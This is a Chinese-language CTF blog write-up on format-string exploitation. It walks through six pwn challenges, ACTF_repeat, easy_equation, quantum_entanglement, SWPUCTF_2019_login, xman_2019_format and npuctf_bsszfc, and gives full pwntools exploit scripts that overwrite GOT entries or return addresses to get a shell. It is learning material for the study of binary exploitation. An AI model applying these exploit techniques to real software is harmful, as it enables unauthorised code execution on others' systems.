格式化字符串利用总结

还没写完。。。。。。。。

在这里 我不会写 泄露的原理 ,只讲改写方面的技巧和方法。。。。。。0 – 0

不过 在这 贴一个 与泄露有关的 %a 的利用

publicqi师傅的 https://publicki.top/2020/04/05/hardcore_fmt/

栈段

ACTF_repeat

分析

先 checksec 查看一下保护情况

image-20200709092454705

发现没开RELRO

IDA 分析

image-20200709092809339

存在一个栈的格式化漏洞,可以多次触发。

思路

由于程序没开RELRO,我们可以去改把 printf 的got 表改成 system。

也可以改 返回地址 或者 puts的got表 为 one_gadget

由于 改成 one_gadget 不一定过,这里 我选择改system

调试

由于在栈段上,我们需要找到输入的偏移。

1

可以 发现偏移是8

2

利用 %19$p 泄露 libc

3

在偏移13处 写入 printf 的 got表 在偏移12处 写入 prinf 的 got表+2

通过 偏移12 偏移13 修改 printf 的 got表 为 syetem

4

输入 “/bin/sh” 获得shell

image-20200709100606812

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
#context(log_level="debug")
p = process('./repeat')
elf = ELF('./repeat')

printf_got = elf.got['printf']

p.recvuntil(">>")

p.sendline("%19$p")
p.recvuntil("0x")

libc_base = int(p.recv(12),16)-0x20830
print "libc_base = "+hex(libc_base)
sys_addr = libc_base+0x45390
print "sys_addr = "+hex(sys_addr)

one1 = sys_addr&0xffff
one2 = sys_addr>>16
one2 = one2&0xff

print "one1 = "+hex(one1)
print "one2 = "+hex(one2)

payload = "%{}c%{}$hhn".format(one2,12)
payload += "%{}c%{}$hn".format(one1-one2,13)
payload = payload.ljust(0x20,"a")
payload += p64(elf.got["printf"]+2)+p64(elf.got["printf"])

p.sendline(payload)

p.interactive()

easy_equation

分析

checksec 看下保护情况

image-20200709112349311

IDA 分析

image-20200709112421342

没开canary保护 存在栈溢出

存在 格式化漏洞

思路

1.直接栈溢出 覆盖返回地址为 system 地址 执行 “/bin/sh”

2.格式化 改 judge 为 2 绕过判断 执行system

调试

由于 思路1 太简单了 就不写了

主要讲解 思路2

先找到输入的偏移

image-20200709113402311

很清楚的发现 B 被吃了 (前移)

image-20200709113538485

继续 运行 发现输入的偏移 先吸收一个字节 再偏移是 8

image-20200709114138414

我们需要 布置如上图的局

为撒是 20971253 呢 ??? 2097153 = 0x200001

加上前面被吸收的 B 是 0x200002

hhn 对应的是 1个字节 取的是 2

故将 偏移10 的 judge 覆盖成了 2

image-20200709114628922

可以看到 执行完了 printf 后 judge 被修改成了 2 绕过了 if 判断 获得了 shell

image-20200709114901370

上面这种 是复杂了一点(只是为了记录这种方式)

其实 只需要如下布局

image-20200709121740273

同理 可shell。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch='amd64', os='linux')

p =process('./easy_equation')

payload = ''
payload += "B"+"%"+str(0x200001)+"c%10$hhn"+p64(0x060105C)
#payload += "B"+"%"+"1c%10$hhn"+"aaaaaa"+p64(0x060105C)

p.sendline(payload)

p.interactive()

quantum_entanglement

分析

checksec 一下

image-20200709130623035

IDA 分析

image-20200709131324114

image-20200709131347656

在 log_in 函数中 存在两个格式化串漏洞,但每个限制最大13个字符(输入的时候限制的)

我们需要 使v8 == v4 才可获得shell

思路

思路一 :利用格式化使 v8 == v4 获得shell

思路二: 在调用完了 log_in 函数后 调用了sleep ,在观察到RELRO 没开 ,我们可以改 sleep的got 表为 system(“/bin/sh”) 的位置,实现绕过判断,获得shell

这里 运用了一个技巧 :%*X$d%Y$n会把栈中偏移X处的值 ** 赋给栈中偏移Y处的 **指针指向的地址

​ 而且%*这个格式化串是输出对应值数量的空格

调试

调试思路一

先找偏移 我们下断点到 b *0x0804876a ( printf 的前面 ) 然后运行

image-20200710032427476

然后 再找到 随机数的偏移

image-20200710035125282

我们发现 在偏移19处的数据是 随机数A地址的一半 。。。

这里 我们可以去找 3个栈链连起来的指针( 栈 -> 栈 -> 栈 ) 作为跳板 实现数据的修改

这种 栈链一般在 stack 的下面找到到

image-20200710035815282

这 3 种都行 。。。这里我 利用第一个。(懒)

计算偏移 第一个是跳板的偏移 第二个修改的偏移

image-20200710040113534

这样思路 就非常清楚了 利用跳板 指向随机数A 修改其为随机数B

制造跳板 使 0xffff742cc 指向 随机数A的地址

image-20200710040427780

然后 修改 随机数A 为随机数B

image-20200710040822701

然后 获得shell。。。。。。

image-20200710041058906

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*

p = process('./quantum_entanglement')
elf = ELF('./quantum_entanglement')

payload1 = '%*19$d%65$hn' # %*19$c%65$hn
payload2 = '%*18$d%118$n' # %*18$c%118$hn

p.recvuntil("FirstName:")
p.sendline(payload1)
p.recvuntil("LastName:")
p.sendline(payload2)

p.interactive()

调试思路二

一样的 。 先找偏移

image-20200710041735340

偏移 20的 是sleep_got

偏移 21的是 system(“/bin/sh”)

我们利用格式化 把 偏移21的值 写入 偏移20处 即可shell

由于 数据太大 需要运行几分钟。。。

image-20200710042746346

已成功 嘿嘿嘿。。。

image-20200710042945198

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

p = process('./quantum_entanglement')
elf = ELF('./quantum_entanglement')

sleep_got=elf.got['sleep']
backdoor=0x080489DB

payload1 = p32(sleep_got)+p32(backdoor)
payload2 = '%*21$c' + '%20$n'

p.recvuntil("FirstName:")
p.sendline(payload1)
p.recvuntil("LastName:")
p.sendline(payload2)

p.interactive()

非栈段

SWPUCTF_2019_login

分析

先checksec看一下保护开启情况。。。。。。

check

发现没开RELRO

IDA查看一下IDA

在这个函数中,存在一个循环的格式化漏洞IDA2

这是一个非栈32位格式化漏洞。

思路

由于程序没开RELRO,我们可以去改把 printf 的got 表改成 system。

由于格式化是在 bss 段,我们需要利用跳板去进行任意地址修改。

我原来想改返回地址为one_gadget 然后退出判断执行,获得shell。(一个师傅和我说32位的改返回地址容易炸)没成。。。

调试

我们先利用%6$p%15$p来泄露stack 和 libc1

我们需要找跳板,这里我用的是ebp作为跳板,来达到任意地址修改。2

第一次 改ebp指向 0xffffd074(偏移9) 第二次利用 0xffffd078(偏移10) 来修改 0xffffd074 中的值

使 0xffffd074 指向 printf 的got表3

同理 再次修改ebp 指向 0xffffd070(偏移8) 利用 0xffffd078(偏移10) 来修改 0xffffd070 中的值

使 0xffffd074 指向 printf的got表高二位字节4

最后 利用 0xffffd070(偏移8) 作为跳板改写 printf 的got表中的高二位字节

​ 利用 0xffffd074(偏移9) 作为跳板改写 printf 的got表中的低二位字节 5

最后利用 read 输入 /bin/sh 触发 printf(system) 获得shellimage-20200709050912160

exp

远程的偏移 与 本地 有点差别,需要改下偏移。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*

p = process('./SWPUCTF_2019_login')
#p = remote('node3.buuoj.cn',26584)
elf = ELF('./SWPUCTF_2019_login')

p.recvuntil("name:")
p.sendline("flzx3qc")

p.recvuntil("password:")
p.sendline("stack :%6$p libc :%15$p")

p.recvuntil("stack :0x")
stack = int(p.recv(8),16)-4
print "stack = "+hex(stack)
#gdb.attach(p)

p.recvuntil("libc :0x")
libc_base = int(p.recv(8),16)-0x18e81
print "libc_base = "+hex(libc_base)

system = libc_base+0x3d200 # 远程 0x03cd10
printf_got = elf.got['printf']
print "system = "+hex(system)
print "printf_got = "+hex(printf_got)

# 10 -> 9 9 -> printf got
payload ='%' + str(stack&0xff) + 'c' +'%6$hhn'
p.sendlineafter("Try again!",payload)
payload ='%' + str(printf_got&0xff) + 'c' +'%10$hhn'
p.sendlineafter("Try again!",payload)

# 10 -> 8 8 -> printf got+2
payload = '%' + str(stack&0xff-4) + 'c' + '%6$hhn'
p.sendlineafter("Try again!",payload)
payload = '%' + str((printf_got+2)&0xffff) + 'c' + '%10$hn'
p.sendlineafter("Try again!",payload)

sys1 = system&0xffff
sys2 = system>>16
print "sys1 = "+hex(sys1)
print "sys2 = "+hex(sys2)

# printf got >>> system
payload = '%'+str(sys1)+'c'+'%9$hn'
payload += '%'+str(sys2-sys1)+'c'+'%8$hn'
p.sendlineafter("Try again!",payload)

p.sendline('/bin/sh')

p.interactive()

xman_2019_format

分析

先 checksec 查看下程序保护机制。。。。。。。。。

check

用IDA 分析image-20200709054924463

里面调用了strtok 用 “|” 来分离 输入的字符串

存在格式化漏洞

ida2

在程序中还发现存在一个 backdoor

思路

改写返回地址为 backdoor

由于 s执行的内存 是非栈上的 所以需要利用跳板来改写

调试

改ebp指向 0xffb65b4c(偏移11 也是 返回地址) 利用 0xffb65b68(偏移18) 来修改 0xffb65b4c 中的值1

制造跳板

2

修改

3

直接 执行 backdoor

image-20200709071324918

exp

需要爆破1字节 1/16机率 获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

p = process('./xman_2019_format')
#p = remote('node3.buuoj.cn',29411)
elf = ELF('./xman_2019_format')
backdoor = 0x080485AB

payload = '%' + str(0x4c) + 'c%10$hhn|'
payload += '%' + str(backdoor & 0xFFFF) + 'c%18$hn|'

p.sendafter('...',payload)

p.interactive()

npuctf_bsszfc

分析

先 checksec 一下

image-20200709072616275

IDA 分析

image-20200709073227289

非常明显的格式化漏洞,输入 ‘66666666\x00’ 退出程序

image-20200709073704604

这是一个 在bss段的 64位的 格式化漏洞

思路

在这里 我利用我之前在32位时没改成功 将返回地址 为 one_gadget

同理 这里也需要借用跳板来实现

调试

先泄露libc pie 和 stack 分别用 ‘LIBC:%7$p’ + ‘PIE:%6$p’ + ‘Stack:%9$p’

1

这里利用 指向argv[0] 作为跳板 利用 环境变量(argv[0]) 来修改返回地址

argv[0]是指向第一个启动参数字符串的指针

(0x7ffeca023638 - 0x7ffeca023568 )/8 + 9 = 35

2

先使 0x7ffeca023638 指向 0x7ffeca023558(返回地址)

3

修改返回地址低2个字节

4

然后改 0x7ffeca023638 指向 0x7ffeca023560(返回地址+2)

5

修改 返回地址 第低3 4个字节

6

然后退出,直接shell

7

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
#context(log_level="debug")
#p = remote('node3.buuoj.cn',27971)
p = process('./bsszfc')
libc= ELF('./libc-2.27.so')

payload = 'LIBC:%7$p' + 'PIE:%6$p' + 'Stack:%9$p'
p.send(payload)
p.recvuntil('LIBC:')
libc_base = int(p.recv(14),16) - libc.sym['__libc_start_main'] -231
log.info('LIBC:\t' + hex(libc_base))

#p.recvuntil('PIE:')
#pie = int(p.recv(14),16) - 0x830
#log.info('PIE:\t' + hex(pie))

p.recvuntil('Stack:')
stack = int(p.recv(14),16) - 232
log.info('rbp Stack:\t' + hex(stack))

rce = libc_base + 0x10A38C
offset = stack&0xFFFF
off_1 = rce&0xFFFF
off_2=(rce>>16)&0xFFFF
off_3=(rce>>32)&0xFFFF

log.info('rce:\t' + hex(rce))
log.info('offset:\t' + hex(offset))
log.info('off_1:\t' + hex(off_1))
log.info('off_2:\t' + hex(off_2))
log.info('off_3:\t' + hex(off_3))

payload ='%' + str(offset+8) + 'c' +'%9$hnbbbb\x00'
p.sendline(payload)
p.recvuntil('bbbb')
payload ='%' + str(off_1) + 'c' +'%35$hnbbbb\x00'
p.sendline(payload)
p.recvuntil('bbbb')
payload ='%' + str(offset+10) + 'c' +'%9$hnbbbb\x00'
p.sendline(payload)
p.recvuntil('bbbb')
payload ='%' + str(off_2) + 'c' +'%35$hnbbbb\x00'
p.sendline(payload)
'''
p.recvuntil('bbbb')
payload ='%' + str(offset+12) + 'c' +'%9$hnbbbb\x00'
p.sendline(payload)
p.recvuntil('bbbb')
payload ='%' + str(off_3) + 'c' +'%35$hnbbbb\x00'
p.sendline(payload)
'''
p.recvuntil('bbbb')
p.sendline('66666666\x00')
p.interactive()
Reward
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • © 2015-2021 John Doe
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信